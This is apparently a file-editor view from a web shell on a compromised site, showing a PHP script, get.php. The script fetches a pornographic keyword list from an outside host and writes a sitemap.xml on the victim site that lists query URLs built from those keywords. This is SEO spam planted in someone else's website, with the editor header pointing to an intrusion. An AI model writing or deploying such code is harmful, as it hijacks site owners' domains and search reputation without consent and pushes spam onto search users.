관리-도구
편집 파일: get.php
<?php $list_url = 'https://alihere.biz.id/keyword/porn_luar2.txt'; $sitemap_file = 'sitemap.xml'; function fetchFromUrl($url, $default = []) { $content = @file_get_contents($url); if ($content !== false) { return array_filter(array_map('trim', explode("\n", $content)), 'strlen'); } if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $content = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($content !== false && $http_code == 200) { return array_filter(array_map('trim', explode("\n", $content)), 'strlen'); } } $opts = [ 'http' => [ 'method' => 'GET', 'timeout' => 10, 'follow_location' => 1, ] ]; $context = stream_context_create($opts); $content = @file_get_contents($url, false, $context); if ($content !== false) { return array_filter(array_map('trim', explode("\n", $content)), 'strlen'); } return $default; } $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://"; $domain = $_SERVER['HTTP_HOST']; $script_dir = dirname($_SERVER['SCRIPT_NAME']); $base_url = $protocol . $domain . ($script_dir === '/' ? '' : $script_dir); $keywords = fetchFromUrl($list_url, ['xnxx']); date_default_timezone_set('Asia/Jakarta'); $today = date('Y-m-d'); $now = date('Y-m-d\TH:i:s+07:00'); // ISO 8601 format with WIB offset $xml = '<?xml version="1.0" encoding="UTF-8"?>' . PHP_EOL; $xml .= '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $xml .= ' <url>' . PHP_EOL; $xml .= ' <loc>' . htmlspecialchars($base_url . '/index.php') . '</loc>' . PHP_EOL; $xml .= ' <lastmod>' . $now . '</lastmod>' . PHP_EOL; $xml .= ' <changefreq>daily</changefreq>' . PHP_EOL; $xml .= ' </url>' . PHP_EOL; foreach ($keywords as $keyword) { $url = $base_url . '/index.php?id=' . urlencode($keyword); $xml .= ' <url>' . PHP_EOL; $xml .= ' <loc>' . htmlspecialchars($url) . '</loc>' . PHP_EOL; $xml .= ' <lastmod>' . $now . '</lastmod>' . PHP_EOL; $xml .= ' <changefreq>daily</changefreq>' . PHP_EOL; $xml .= ' </url>' . PHP_EOL; } $xml .= '</urlset>' . PHP_EOL; file_put_contents($sitemap_file, $xml); header('Content-Type: text/plain'); echo "Sitemap generated successfully at $sitemap_file\n"; echo "Total URLs: " . (count($keywords) + 1) . "\n"; echo "Generated at: $now (WIB, Asia/Jakarta)\n"; ?>